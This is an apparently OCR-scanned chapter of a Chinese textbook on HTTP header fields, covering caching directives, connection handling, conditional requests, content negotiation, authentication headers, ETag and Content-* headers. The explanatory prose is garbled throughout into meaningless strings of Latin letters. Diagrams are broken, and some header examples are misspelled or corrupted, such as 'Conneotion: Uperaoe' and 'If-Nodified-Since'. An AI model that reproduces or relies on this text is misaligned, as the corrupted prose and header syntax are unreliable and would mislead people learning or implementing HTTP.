B, MAREEEREE. R52, TSYENSTTRILUSHAES. REEAIBRIE

LSPIEBEZSH.

EEHITRTEFONRNES

no-store 5%

Cache-Control: no-store

LA no-store 359 1 1Y, BERER OXIRIBNAOR) RIOLPESNEER.

1 NFERE LBEHIE no-cache IRBAINALETR, {BFX L no-cache KRNES
THNER, EFE0RRSEHTEVBAMAGUEERIR, HIFFR)Y do-not-serve-
from-cache-without-revalidation 8&i&. no-store A REIFIMAHITES, 1BRETE

BXRE®, —FET

B, ZESNEEBTNEEREFEERRIONHE .

EREEBIRFIANENES

s-maxage 1§



Cache-Control: s-maxage=604800 (F¥ifi : F5)

s-maxage S HINAERD max-age S6EE), BIINAERE s-maxage ESRIE

AFHSAAPEBNAREBRESE 2 WARY, IFuE—RrESRObN
HARSSEERE, X TMESRBIETER.

2 XB-MIERE, —FET

f% LIEMA s-maxage BT, NERHERIEXY Expires HEFENK max-age 15580
ME,

max-age 5 <

FEERSSE

L 1Ok XV
MEFZHLECET

R EBNEE

Cache-Control: max-age=604800 (Hfifii: Fb)

LEPIHRIXNERPES maxage SN, WRHEEFHRNEFNEEEL
BENBNMES/), BLEFHMBENESNER. 290, HIEE maxage BN
0, BLEGRS S EBHERERERDRRSS.

LIRFEBRONATPES maxage I, ERRISSSEANEDROBRILSEF



A, T maxage MENFRFRIRBF NEFNRKEE.

RZFE HTTPA.1 IRABVE SR B ESB RN 1L Expires ST ROVBINN, =%
QME max-age 5%, MRAZIE Expires SEZFE. M HTTP/1.0 fRAEIE RS 2880
IBERFMER, maxage IESRWRABIE.

min-fresh 155

TEBHT 0 EY
2 4 od?

FEFREE
Cache-Control: min-fresh=60 (Hfifii: )
min-fresh I5SEREHFRBESROE VIAKRIBEN BNEFER.

Eb20, IETE min-fresh Jy 60 FUf5, 175 60 MHBYEHREIAIENIARLRD S .

max-stale 5<%
Cache-Control: max-stale=3600 (Hfifii: )

fEF3 max-stale YIBREF LR, ENETMRBRBEK.

WRIBSKIBESHE, BLLLEIZA, SPHESENAN; WRESPE
Eéﬁ%%ﬂ@, LENBEYE, KRBT maxstale ISENRER, DIESHE,
Uiy o



only-if-cached 5%

Cache-Control: only-if-cached

1A only-if-cached I8 SRR IKIAE R F RIS AMEFEIRERNEN N 45
BRERD, M52, ZIBSBREGRSSAEHNAAN, BASERBIAE
BREYM. BREBREBFRSBOFMEFLAON, MWRORTTES 504 Gateway

Timeout,

must-revalidate {55

Cache-Control: must-revalidate

%g ggt—revalidate B2, KEBEEORRSEBRNIERGRONNNEFERRS

SRETEEBRRRSSERAMBWARNE, EBEVALELIH—FK
504 (Gateway Timeout) JR7SE3.

B, 1B must-revalidate I5 SR RIBIERHY max-stale 155 (BIECAEESHHER
S max-stale, BASEBUR) o

proxy-revalidate 1§ <

Cache-Control: proxy-revalidate
proxy-revalidate 55 2 RPTEHNEF RS SR NEIS Pl E2ESHERRON
[z Al, WIRBREIEEFHERME,

no-transform 5<%

Cache-Control: no-transform



%E io—transform BOMELCREBERIERIAN P, EHFENENETIETIHRE

AR LR TR IR E BRI FHEOLURE.

Cache-Control i @

cache-extension token

Cache-Control: private, community="UCI"

@1 cache-extension #RiC (token) , TILLH & Cache-Control EHSEEABNIES,

0, Cache-Control EEBFZERAR SR community iIXNMES, 1EE]) extension
tokens SCH S ZIBSBIR0. WREIRFS S AR community X MHIES, ™ME
BRI, B, extension tokens ITEEEMRTHNER RS IZHKIZRBRNE.

6.3.2 Connection
Connection M FERESW M MER.
o BHABHEASHENGERTE

o BEFAER

o WHABRRERENEPFR



GET / HTTP/1.1 GET / HTTP/1.1

Upgrade: HTTP/1.1 W 5 A
Conneotion: Uperaoe E#F & Upgrade MG s &

CRETAE
5k ok

Connection: ANF 4RI HE T B4

EZ P ARERIVRSEHROARNA, B Connection BEIZER, Tz
HIABHEAGHENEHRTER (B) Hop-by-hop EH83) .

BEFAER

Connection close

RRETIES
HWEERIT

Connection: close

HTTPAA MRANRINEZE RIS AER. Nlt, BPIRREFAERE E
%é%w@/ﬁ LRSS eI EATRKT FHERDY, NIHSE Connection HHFE
g 0se,



@ GET / HTTP/1.1
Connection: Keep-Alive

ﬁ
—

EP (2) HITP/1.1 200 OK

Keep-Alive: timeout=10, max=500
Connection: Keep-Alive

Connection: Keep-Alive

HTTP/1.1 2 BI8Y HTTP iR ARFRAERE RIS AER. N, WRIBHE
|BRRZAEY HTTP 10i_F4ERSRE%ERE, NWFREIETE Connection EEEEY
{E79 Keep-Alive,

W0 EBOMTR, BPIHRRIEROKRSRN, RBBImEH EEOHBEN L
BT E Keep-Alive R EEZEL Connection [FIR DI

6.3.3 Date

EH=E: Date ROFOUE HTTP IR B BHF01E.

HTTP R &3 F 2012
F1H:B (A=>ed
“0 4 59 &5

HTTPA.1 1DIYE A% RFC 1123 M ENBHNBNNME N, WT 7Pl

Date: Tue, @3 Jul 2012 ©4:40:59 GMT



2 A8 HTTP 1D IURAPEAAE RFC850 (PENXEMER, WTHIT.

Date: Tue, ©3-Jul-12 @4:40:59 GMT
BRIE25h, B8, BS C vk asctime() RAERIEE N —.

Date: Tue Jul 03 ©4:40:59 2012

6.34 Pragma

Pragma 2 HTTP/1.1 ZRIMARNDERBFE, (FNS HTTPA.0 NEEHREME
Mo
MEEXHNERE—, WTFPR.

Pragma: no-cache

ZERTRETEAERTR, BRBESFRARNERD. BFRERKME
PR FS S NROEENER.

&R FRES

Pragma: no-cache

hialfR 5528

FEBPERFSESWREELU HTTPA.1 &L, AFERERMA Cache-Control: no-
cache 5E&TFHIANES R R NVIERH. EREESZELIDERSEEHRH
HTTP (URAEZAIRE. B, RENEREANSBE TOR T EEFR.



Cache-Control: no-cache
Pragma: no-cache

6.3.5 Trailer

ERYORET IR
§PotrE RGP
F 4B i ok

EHHFTE Trailer EB/LRBPERNERGIER T BEETFR. ZEPFTRINA
& HTTPAA RRADPUERLRISEN -

HTTP/1.1 200 OK
Date: Tue, @03 Jul 2012 ©4:40:56 GMT
Content-Type: text/html
. Transfer-Encoding: chunked
Trailer: Expires ...(# L F1k)... @ Expires: Tue, 28 Sep 2004 23:59:59

< >

MBI, EEEHPFE Trailer KGR Expires, TRV ERZE (HDRKE0Z
&) HIS E8PE Expires,

6.3.6 Transfer-Encoding



A 5 404850 B R A ok

Transfer-Encoding: chunked

HEPSER Transfer-Encoding #E 3 FEHIIRS ALY KA BIHRIDI e

HTTP/.1 BUEHRIET0 U DB RIS B o

HTTP/1.1 200 OK

Date: Tue, 03 Jul 2012 04:40:56 GMT

Cache-Control: public, max-age=604800 Content-Type: text/javascript; ch
X-Frame-Options: DENY

X-XSS-Protection: 1; mode=block

Content-Encoding: gzip

Transfer-Encoding: chunked Connection: keep-alive

cfe <16l (103 Ay3312) .. .3312F TS HE . .. 392 <16t (101t
£ >
DU EFBBID, FUEEESER Transfer-Encoding hiSEAVEME, BIMEHORER
R0, BN 3312 5] 914 ZHA/ NSO REIE.
6.3.7 Upgrade

S Upgrade AT HTTP ik BN R S TSR ESIRAIHTE
5, ASHEIURKER -T2 NEAHBE DN,



Bk B X A haweB?
GET /index.htm HTTP/1.1

Upgrade: TLS/1.0
Connection: Upgrade

HTTP/1.1 101 Switching Protocols
Upgrade: TLS/1.0, HTTP/1.1
Connection: Upgrade

LEBAID, SWFE Upgrade IEENIEN TLSN.0, EEFTMAM T TREBTR
BIRTRZK R, Connection BUE#EIETE S Upgrade, Upgrade SRSB4 EAK
Upgrade SVZIXRFEinfIRER S 8. R, EREIFE Upgrade iV,
IREBEHINERE Connection:Upgrade,

XITMIEEBER Upgrade HIi55K, AR5 101 Switching Protocols RS 1E Y
IaRIR @,

6.38 Via

EREETER Via BN S BIRB iSRS 2 B ERIANR USRS R,

Fir8%

s ZQWE@ZWJ%N, BHAEPFE Via PIWINZIRSEENER, AEEHTH
o X

%40 traceroute R E8S5-H4H) Received & 338Y TIEN SR

BT Via MUATBRENNER, RTBRERODANRE. HUMNFTESEI
HENWNZEBFTRAS.



q
U

wru Ny

GET / HTTP/1.1

@ GET / HTTP/1.1
via: 1.0 gw.hackr.jp(Squid/3.1)

7 @ cET / HITR/1.1
Via: 1.0 gw.hackr.jp(squid/3.1),
1.1 al.example.com(Squid/2.7)

[ EMBREHER Via BHHENE }

SREBNER, P

LEAMIP, EEidLIBIRS s AlY, Via B0 1.0 gwhackrjp (Squid/3.1)"1X
FOSRTBE, TK60 1.0 RIEEINEROARSES LRAHY HTTP IIARA, # Tk
213 IBARS s B VMR, % Via SRS SEES, RTILN 1 NHN Via
BHSNRBEER.

Via 52N T BIREASEE, MIUESEM TRACE J5A—feBH, thil, (2R
Fesigl R TRACE J7ARIFINKENER (Hh Max-Forwards: 0) 89, {UI2ARSS
BAAEBERZIBER S XMPERT, RERSBLEESNETWIE Via BF
B, ROZIERINIL.
6.3.9 Warning
HTTP/1.1 89 Warning &332 M\ HTTP/1.0 B0GR/E 30 (Retry-After) SELIIRAY. 1%
ERREaSNEP —L5SEFEXNMNES,

Warning: 113 gw.hackr.jp:8080 "Heuristic expiration" Tue, @3 Jul 2012 €

< >

Warning EEEMERNAT. RENBHNEBOT L.



Warning: [ %] [ 0 EHL: 3 15 1[E S AT ([N ])

HTTPAA PENT 7Ti0EE. EEHNVNNBSASIHEEFSE, B, BSHEE

B RY, SEETRBIHNESH.

=& 6-7:

OFF 0%

=
=)

10

m

12

13

199

214

299

HTTPMAZ S

)

0%

CLeE

0

Response is stale (0GR
JER)

Revalidation failed (FB3%iF
ES0)

Disconnection
operation (¥TFHERRIE)

Heuristic expiration (i3
[ESVEED]

Miscellaneous warning (2%
NES)

Transformation applied (&
FA S HIR)

Miscellaneous persistent
warning (FARIES

563

RIBRO2IHNER

HIEBRIERREWIN
KW (RS DERIAE
RE)

REBSERMERKRSR
g

Rz B9B FR ERIBIY 24/)\6Y
(BEFIRENER
ERZNNEN =)

RIERIA SRR L
BERAT 5 FLERMBEY

ERNBSHZ

03






64 BFEREBPFR

BREPZRENSPIHERSEIMRZBERB I PAEANTE, BFHAER
HRNER. SFHER. XNARASEXOMEREANS.

AFAREYR IR

: HTTPEERB X PEBREHL TR

6.4.1 Accept

BOTREBAEL R HTML
ik, W0ETE A4k

TEXT #5 R &b to 479
Accept: text/plain; g=0.3, text/htm
> 7

HTML &

BR%5E
HTML &= TEXT#=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.§&

< >



Accept BEIFEROBAIIR S5 e, A UIRREISAMBEVIRMA A RIRIRXABIBIIL
T B typelsubtype XIPFEIN, —RISEDIPIRALEL,

TEEATHEI ML) S.

o RN
text/html, text/plain, text/css ...
application/xhtml+xml, application/xml ...

o BFIH
imageljpeg, image/gif, image/png ...

o M HF
video/mpeg, video/quicktime ...

o [N FTE R AR B0 s il XA
application/octet-stream, application/zip ...

a0, QRS EEAR 255 PNG BT, HB Accept RiRNERE imagelpng, MHEE
TJRMBHY imagelgif 70 imageljpeg ZHEF AL,

ESRBLDTONGAKAUBIESER, WEME q= kaviarnaE |, AS ()
HTOR. NEMEq TEER -1 (TEHAVNERG M) , B 1 HTRAE A
HBREANE q B, RRMRERN =10,

1R 2 REBARE, £ RFC2616 EX D, LMY q 248 qualue, B quality factor,
EEFNEHMEREY, BEISEEZERRCINENMG, NFRBREEER
B%, —iFEF

LRSSBREASOASE, REEERONEERSOREKLEL,



6.4.2 Accept-Charset

Accept-Charset: iso-8859-5, unicode-1-1;g=0.8

Accept-Charset & 8= B2 0] AR Sf@ AR 55 83 F8 P2 A VIS B0 24 52 e AT SR04V
FelifFe. 290, TRMIBEDIZIE. SEUFE Accept BRINRIMBINE q
EREEXL LR,

ZE TR BT ABDEEIEARS S RN DE.



6.4.3 Accept-Encoding

BY EhEEGn
EEE ]

Accept-Encoding: gzip, deflate

Accept-Encoding B 83 FSR S AR 383 P IR FBIAS RIS R ASRIZOIL
FRIR. TRIHEELIPNSRD.

TEEFE/ L TIASHENEIS-.
e gzip

X HEZEIES 9zip (GNU zip) MBIRIIIER, (RFC1952) , RMA
Lempel-ZivEiA (L277) K 2 (fEATIRRE (Cyclic Redundancy
Check, J®FRCRC) o

® compress

B3 UNIX X R 4872 compress EEALBVRISIE N, KA Lempel-Ziv-Welch
BiE (LZW) .

o deflate

ABFEM b 183 (RFC1950) KM deflate £458 7% (RFC1951) SELHY



RS8N
e identity
FTEEIA ST HHRMINRIER

RARE q BREMEXVLER, XnSEPFER Accept 1i8E. 354, HIFHEL
S (") FNRET, BEERNRIEEI.

6.44 Accept-Language

B P

LEELA TS

B P

Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3

BB Accept-Language FISR SRR 53888 PRI AMEN B MBS E (I8P
VRENE) , ULKBRESEETNER. J—REEIIHNERIESE,



70 Accept BEIFE—#F, WINSBIE q RETEXILER. £ LREBIP, ZPiHE
RFBBBPIRDENER T, SEREROPIARIIGNAG, REPIHRE,
DUERIR B ARIARL .

6.45 Authorization

WWW-Authenticate

S REE R HTTP AAGE.
GET /index.htm e UiEEL AR

401 Unauthorized
WWW-Authenticate: Basic .. BRE 28

k. RwGEEE
hE B

GET /index.htm
Authorization: Basic dWVub3NlbjpwYXNzd29yZA==

e
==

200 OK

Authorization: Basic dwVub3N1bjpwYXNzd29yZA==

HHZER Authorization 2R SKIRSEE, BALHBIINESS (EBE) . B
#, BEEIRSBNENELRBEAEBNENIRDON 401 RSB0, BE3
S7E% Authorization D \IER D, HAERFEEITEISE Authorization § 5 EE01E
KRIVEURERMERIEE =R



B HTTP HIGAER Authorization EHFE, MBS HESIEBRE. B,
HEHTSH RFC2616,

6.4.6 Expect

M MR 457

4% 0 R E 100 Continue

Expect: 100-continue

BPRERE R Expect %%%DEE%%% HELIMNEMREITN. BIRSSET
FEERBEFIRNIASFHON A LSRN, 2RO 417 Expectation Failed,

BPHRIUFNBIZETE, SHATELENY R. 2R HTTPAAMBRENS 100-
continue (R75F% 100 Continue 2 &)

SRR 100 1R S P IR{E R EERE, FEIERE Expect:100-continue.

6.47 From



R ESEHS
wAE Tl

B

From: info@hackr.jp

EEPE From ARERRSEBEAA P HRIZNME B S el B%, HBA
BEREN T BEERSIESHEPRENARANS SRR R EHARE
i, NRIEES FromEPFE (BYEZRNIEARD, KBSHBINCRE
User-Agent 235 E8A) o

6.4.8 Host

Greend)

o —

EIME
www.hackr.jp

Host: www.hackr.jp

RMEN
www.usagidesign.jp

B: @UENSTERD-—DIPL, FIEHEEFE Host JIUX D

Host: www.hackr.jp



EBFE Host SRR ES, BROVEIRPTRNEEAMEHSFHOS. Host EH
FRE HTTPMA HISBARKE—— MR ESTEERANS BT,

EBFE Host IS BIRF S DI S MARMELENN TIFHNEBREBIINX
B, XR2EBPFE Host WAEENR Y.

ERWARIXEIRS N, ERPHINDEME IP I ERSRER, BURXE,

BRI IP it FEEETEZ NS, HBLRSSHRSLTEERAZEI MRS
MBER. B, MRREATPTER Host KFMIBHIERNENS. SRBEBF
WEINS, BEBERE-T=ERT. WTHHAR.

Host:

6.4.9 If-Match

If-Match
If-Modified-Since
If-None-Match
If-Range
If-Unmodified-Since

wRMEDSEG &
33T Re bk

s I REER

TR0 tf-xo S RNIERE PR, BIMARHER. RSBBWEHRED
BRE, RBHMMESERENEN, FTEHTER.



GET /index.html
If-Match: "123456" jeeemsEsssseasrmasensenn

> -
5 index.html :

SHAFRIZ( ETag )

: 123456

BRSH /\

RKERIE (ETag ) %54%3%“2%9@3%9@}

WHEME. HFEEN/BETagth bz B

GET /index.htm
If-Match: "123456"

Ry

; (ET
BPE o E }wgefsso s

412 Precondition Failed

B: RBS f-Match (&R ETag (HILA — WY, RFETSEZER

If-Match: "123456"

EPFE I-Match, BINEHERE2—, BaEANRSSLLEARTAENSKERIC
Eéifgﬁg) 1B, XIHRBBLERAS ETag . (BESRASEXEPFEK ETag
i%89)

RS BBRLLY I-Match U EXEFIFIRAY ETag (B, NEME B, TEMTIE
Ko &=, MAREMATSES 412 Precondition Failed 8907,

AIUBAES (*) B I-Match BIFE(E. HXXMIER, REEBERES ETeg
HE, RBRERBFEMVDZER.



6.410 If-Modified-Since

GET /index.htm
If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT

BHE & 200F«p
s B2E g d
B O MAKRTAES

200 OK
Last-Modified: Sun, 29 Aug 2004 14:03:05 GMT

GET /index.htm
If-Nodified-Since: Thu, 15 Apr 2004 00:00:00 GNT ("o & 0wz o B

sBZEAERT.

B R 3

304 Not Modified

B : WR% -Modified-Since X X IEENBMHN EGE, HRRETBH, K
FREETIEKX

If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT

EWFER I-Modified-Since, BHI#H RS —, DASHIRSESS F-Modified-Since
FRIEFTRRNEHEE, WHBBENRZER. MELETE -Modified-Since &
EE%QEWHZE, WRERPFDRAEFIBH, WIROPRZS 304 Not Modified
VUM

If-Modified-Since A FIHIAMVIRSN S P imifE A FREVE . REVFRNEH
BHANIE, TEIFHIAEILFER Last-Modified SRAE.



6.4.11 If-None-Match

£ 1% 53 5 Sample-html, Ff LA

PUT /sample.html
o ok i Bl e iE sk

If-None-Match: *

BAARRAFIE, FX
Rt ETag th RF7E

B: KRBT f-None-Match NS EX{E S ETag (A — By, TRIBiZIEK.
5 If-Match 8§ B B HN{EFHER

EHHZE I-None-Match BFMHRIE 2 —. THEHFES IFMatch (EBIER. BT
#B7E If-None-Match S EMEHISLAHRIS (ETag) {ESIEKRFIREY ETag R —8E, ©
MEHRSBBLIRIZIER

7 GET 2 HEAD 7554 M & 38E2 I-None-Match TIREREGHEVETR. BT, X
SEAEEER I-Modified-Since i35 L4,

6.4.12 If-Range



If-Range S B (£ 2 BR ETag {& 55 B #i Y B HiR (5] LB — 2,
BARIEATEEERLE

GET /index.html
If-Range: "123456"
Range: bytes=5001-10000

SKAAERIE( ETag )
123456

index.htm

index.html g0 g

206 Partial Content
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

(#r—s. mewsmwE, BDswnE )

GET /index.html
If-Range: "123456"
Range: bytes=5001-10000

index.htm

SLAFRIE( ETag )
567890 }
200 OK Trmmmmmmmmmmsmmmmnnnne s

ETag: "567890"

EPFE I-Range BIMH R 2 —. BSHIRFSSIBEN I-Range TRIE
(ETag {E2(EN18) FOIERERE ETag {ESk6YIEME—EE, WESEEERL
B, Rz, WEO2EHR.



(R BB Range T BEH AR )

GET /
If-Match: "123456"
Range: 5001-10000

412 Precondition Failed

o BH> TRLEBAHT

fREHRHE - ~abkeE

e ———
=

LSRR T
Lo

IIII

&P

GET / ETag: "567890"

200 OK

TEHNNBE—TMEBEPFE F-Range KIXIERIVIET. HE%%‘%IﬁEﬁﬁ/EQD%

B, PEBPHSEERDN—BOOREZTN, SR, CEBERIENRIRE
W, XN, IRSESSE B LIRSS 412 Precondition Failed {ENIANAR D], EQBS

RERSFMBRREER. XK, SEBEHFR FRange thiesk, MER
RERPSHIIR.

6.413 If-Unmodified-Since
If-Unmodified-Since: Thu, @3 Jul 2012 ©0:00:00 GMT

éf‘ﬁ;& If-Unmodified-Since FI & 852 E% If-Modified-Since BY/EM1ER. THWEMBY

SRIRSEE, BENBERFBREIAGETRENEENBRANBZG, KREEH
E']F/R'F ZHERMRIE R, WRAIETE BN BB RE TEM, WOURE 412
Precondition Failed {E 0GR @,



6.4.14 Max-Forwards

QRBET = -
& % B O

Max-Forwards: 2 Max-Forwards: 1 Max-Forwards: 0

RIERSE A RIS B Bk S

B: SRERHMEN 1. SHEX 0NROIEMA

Max-Forwards: 10

@Y TRACE 73743 OPTIONS /57%, &IX8 S8 E MaxForwards B91E R,
ZFBRUNHHREYPRIEETEINRSSZSRANE. RESAAE N —TIRSS
HRIERZA], MaxForwards BYEM 1 EEHEE. HARSeSEIE] MaxForwards
B 0 BNEKRE, WABHRTHRA, MeERROIEN.

A3 HTTP IDIBEH, BRIESEIRNEBEZERSE. 8P, WRLERS
SHTRELRESBIEKREREN, BFIHEHMEAERSSRONAMAS. XY
I, BAITMTR.

IURBEHEEPFEL Max-Forwards, £ _EORI~ENRERTES. B2
Max-Forwards SEHE N 089, ARSSHMATIBIROIOAZ, BIERIIZEDTUIIAD
BRBBARRERBRNBESRTEMER,



E 4 r W

™ RIEARSEEE A RERRSEE B TRRR 5528
&P

BRRS

............. &

HFRARESBER
LN

]
B: BFRNRA, SWERBARKEBZBNBR, BEFPIHARE
6.4.15 Proxy-Authorization

Proxy-Authorization: Basic dGlwOjkpNLAGFFYS

BEREMNERS[RROAERDN, BRHARIAESEIPTE Proxy-
Authorization 15K, MUSERREZSBNEABEEZNES.

XMTHNEEBLIFARSEE G0 HTTP BIaNANEEEMS), REZAMET, 1A
IHTAREESPRSHIEZ B, BPIRSRZEB2ENIALE, BREHEFZR
Authorization TRE2EIEEIEMA. BX HTTP HIEAE, BENEDEEFRER.



6.4.16 Range

Range: bytes=5001-10000

WTRTARBEDLRVTEER, BSEUFE Range BTSRRI HRAVIE
ECE. CEBVRBIFRNERIRAME 5001 TS 10000 FHEIER.

BUNENTE Range SEFERIERNRSE, SEMBIERZGRORIZ)Y 206
P;;Ea% Content BYARZ, TLASMPILTEERE, NEIROIATES 200 OK BIARZ K

6.417 Referer

GET / REEERefererit fEAIEERE
Referer: http://www.hackr.jp/index.htm URIZ MIBNWeb T il & #2 H

A4 dske URI B K
K Bhies

Referer: http://www.hackr.jp/index.htm

B Referer 2S5HARZEBERORIBTIRE URI,

BRI —RESRIE Referer BEIFRLGIISes. BB SOOI
URI, SAETFZ2MNEREN, RTURRRZEBRZER.

ENRIBFRN URI DNBBFZHBTESE D BBEREEE, ZRSH
Referer # R GHMIRS3ES, NETESBRBIESHHE.



9%, Reforer AIERAHSHISR Reterrer, ERARM, AR -SRAR MR
THE.

6418 TE
TE: gzip, deflate;q=0.5

SEFR TE RSHRS BT Inae BRI HEHMmID S RBXIT R ©F0
EE=E Accept-Encoding BIIDEERIER, BRATEHRMm.

SHFR TERIBEERARIE I, MTDUSEMHH trailer FEROVDRERMIBNTS
N NABER, RFIE tralers WELZFRIE,

TE: trailers

6.4.189 User-Agent



g SYEET)
facrg i
% 4 C ff Dhaoesn oA

hackr

User-Agent: Mozilla 5.0 (Windows NT 6.1,
WOWB4] AppleWebKit/536. 11 [KHTML, like
Gecko) Chrome/20.0.1132.47 Safari/536.11

lhackr |

Maozilla/5.0 (iPhone; CPU iPhone 05 5_0 like
Mac 05 X) AppleWebKit/534.46 (KHTML, like
Geckn) Version/5.1 Mohile/94334

B8 : User-Agent f 153K %5 88 69 f ¢

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101
< >
FEZER User-Agent R EIRZIEREVA SR P RIERIREE SEILSRSES.

BMBEDARERE, SYRESEFRAMICDIEZHNEB S E DI, 5,
WREREIRE, BLPEHRIERI LIRSS,



65 MUELFZER

AR & 8= B R BAR S5 88 IO~ IR DIIARAR N P AT AN, AF IR,
HMNER. iRBBER, ULNBFHIMNERESS.

B

: HTTPIR R P IEBNE TR

6.5.1 Accept-Ranges

BE K Okoty

: WIREERNESBEIEREY, Accept-Ranges: none

Accept-Ranges: bytes

BB Accept-Ranges ZFKSRIB RS ESROEMETEER, MEBREIR
RS SSImE D BONER.

TEENTRETHY, TMBTEERNEERN bytes, R2NIBEHY none.

652 Age



RENEACET R XN
g WBYEI 00

FFREH BRSES

Age: 600

EPFE Age BESRBI, RIRFSEDARICIZ TI0RM. FRIENSAIND.

SRR RS R E R3S, Age (ERIBEBBIINERARIMERIA
ISR IEE. (IRCIRIERN DA BB Age.

6.53 ETag

. . index.htm

ETag: usagi-1234

H:Bey url BsFHE, @R
YHREWG. EToo B2

2%
>
index.htm

ETag: usagi-5678

ETag: "82e22293907ce725faf67773957acd12"



BT ETag SESRBLIHSUAIRIR. BRI IPREDRUST R IME— MR
RSN RBBENENERDEIINL ETag &

Foh, LERBHY, ETag ENFREHMH. LM ETag B, HRBA—NEEM
0, MR BIRSSS KD,

F:Be URl B 9548 F, <8
b HRFoR IR M F
BRERE S

IR

Google Google

[i:&n ETag: usagi-abcd ETag: usagi-efgh

BRWEBE, MWD MImMR. B, HEAPREIIEEETIE

http:/immwgoogle.con i, REIROIPIARIIMEIETR, MELMAZIARETIIEES TN

By, NEROEMARITMEER. ME0 URIZ48EH, FLUE URIIBEEEN

gg?@%%ﬁﬂ'ﬂ SE THIRPEIERPYT. BEENER, BSHKIR ETag
AR,

5% ETag {7053 Tag {8
ETag th755% ETag {67058 ETag &2 5.

& ETag {&€

& ETag 8, METEREDLBMNEHESHEEE.
ETag: "usagi-1234"

§5 ETag &


http://www.google.com/

55 ETag (ERATRIHRESHEE. ISBRBRETREANE, FEERNIEN
L ETag {E, XY, SEFRERTIBNI W,

ETag: W/"usagi-1234"

6.5.4 Location

MEVEOTGE S
#8 Ehode!

GET /sample.htm

www.hackr.jp

302 Found
Location: http://www.usagidesign.jp/sample.htm

BHRUBEEXE

ger /sanplehun \

200 OK

fR%E B
www.usagidesign.jp

Location: http://www.usagidesign.jp/sample.html

RSB Location WLURIIRAEITTSISERE N SER URIIBRENHEIR.



BEARE, ZZBAES 3 : Redirection 890a5, 2EEEGH URI,

VB0 SSE BINE/ B 2 E 85 Location BYIAR//G, EBEBHIMEMEIIY
ERTNEEB IR,

6.5.5 Proxy-Authenticate

Proxy-Authenticate: Basic realm="Usagidesign Auth"

B =R Proxy-Authenticate 2B B UIRR 3R ZRENANES B RRLE i

TS5SEPIHNREES 2B HTTP IHIRNAESYTEL, AEZMEFEIMETR
REZFPSREZEHTHN. MEFIHSRSS2BHTINEN, STFE8
MAuthorization BEBRNER. X HTTPIHOIAL, GENEDESEHTE
RIER,

6.5.6 Retry-After

BE 0B BRIk
= 1

BRss s e

Retry-After: 120

EETER Retry-After SRBFIRRIZE DA ZGERRIEER. ERHEGRTES 503
Service Unavailable lgR7, o 3xx Redirect lgn; —i2fE A,

FRETLUSTENEANEHNE (Wed, 04 Jul 201206: 34: 24 GMT F8X) ,
HIUUR BRI BRI,



6.5.7 Server

— o
= LD
—
REE8

e

Server: Apache/2.2.17 (Unix)

BT Server STl HR1ART 3 LR HTTP RS SUAEFNER. K
DEAIRBIRSE LORELABIR, BB TEBBRASHZENBRNTE

IR,

Server: Apache/2.2.6 (Unix) PHP/5.2.5

658 Vary



GET /sample.html GET /sample.html
Accept-Language: en-us Accept-Language: en-us

V: A t -L
Zru REBEE e g s

Qi d4i8m 694355
¢ Accept-Language > &b A3k & @
<

Vary: Accept-Language

SR Vary INEF TG RIRSESORBRIBEAXTAINEBFER
BRI,

MRS SBHNERRSBDROBS Vary IBEMNAR 25, SHEBHITES,
SETERPSEEE Vary BEEEBZROBERROEE. RIENEEERLRE
K, BHTF Vary IBENGHZRAMEE, BICNWAEMRIRSSBEFORAGIR.

6.59 WWW -Authenticate

WWW-Authenticate: Basic realm="Usagidesign Auth"

HEPFEE WWW-Authenticate F3F HTTP i5[aliAIE. TASHECiREBTHIER
URI EEEFIRENAIE/S SR (Basic 3(2 Digest) 02 EURROIRIE
(challenge) . JAZSHS 401 Unauthorized (af; P, SESA & 2B52ES WWW-



Authenticate,

ERTBIP, realm SENFRIBEN T IWANER URI IBEERAMZRINRIFHRIS,
BRZER, BSHLEZBHAS.



6.6 LAKEFPFR

KF SR STEBERB AR PHRIROFERNER, BT
NBHNEHNBFSKTERNER.

 EBRVBUMSH HTTPR Y PHSHESKEEXNEBFR

6.6.1 Allow

ERXD I EEM GET
fio HEAD T 5% 47

Allow: GET, HEAD

Allow: GET, HEAD

EHPEL Allow BT BAIS iRAEIES: 15 Request-URI 5B ZHRETE HTTP ;5
Fo HRFBEBINEIARZRE HTTP 75546, 2 LURTTS 405 Method Not Allowed {E
NBRHRD, SEEN, ERIEFTEEXHN HTTP SESASHFE Allow FIR

o

6.6.2 Content-Encoding



Content-Encoding: gzip

S8 Content-Encoding #5412/~ i 5585 XY SRHABI R BB TR IS RIS
B ABRERIBAENSEUKE SHRIRE TAMHTHES.

B H R IER
ZGEHMEIERFHLREST

fRZ5 88

FBRAUT 4IABHRIBNON. (BHIVRBEIESE 6.4.3 ) Accept-
Encoding 5HF8) .

e gzip
® compress
o deflate

e identity

6.6.3 Content-Language

GHRR P ue




Content-Language: zh-CN

%%?TEQ Content-Language 2SHE i, KAEAREANERES (FBPIEE
EBS) »

6.6.4 Content-Length

R KA R 15000 B

Content-Length: 15000

B Content-Length 783 3 SUATAREDBIKR/ (BAIRFT) o XISKIKEE
HHTABRIEHRN, FEEREMA Content-Length BEIZE. BT SUREARA/NGY
R%Eiﬂi%?ﬁig%, PIMELABRET. 2EER8—RAR, ISE RFCH16H

o

6.6.5 Content-Location
Content-Location: http://www.hackr.jp/index-ja.html

GEES Content-Location 5 53R EASMERIRH) URI, FIEEPZES Location
N[E, Content-Location FRRHIZ R E AR O ERIIAAY URI,

b0, YT EREEBER Accept-Language HIIRBZESWMANALUER, HIREONAEA
BERRBERENZ AL, HHPHFE Content-Location AESEI URL,  (510)
http:/Amwwhackr.jp/ 3R EIBIXT R HIZ http:/Awhackrjplindex-ja.html 2524511557 )


http://www.hackr.jp/
http://www.hackr.jp/index-ja.html

6.6.6 Content-MD5

WXL

MD5 3%

Base64 Hil

Content-MD5 :
OGFkZDUWNGVhNGY 3N2MxMD
IWZmQ4NTBmY2 IyTY==

fR 538

SH @Puﬁ%wguymg%zmmmmm MD5 &%, RESEBFTR
¥

BR{E

Content-MD5 9

Content-MD5: OGFkZDUWNGVhNGY3N2MXMDIWZMQANTBMY2IyTY==

HEIZER Content-MD5 2 —88 MD5 S8A4EpEYE, HEENE TSR EAAERL
BYEPESRETE, URBAEEIEIL.

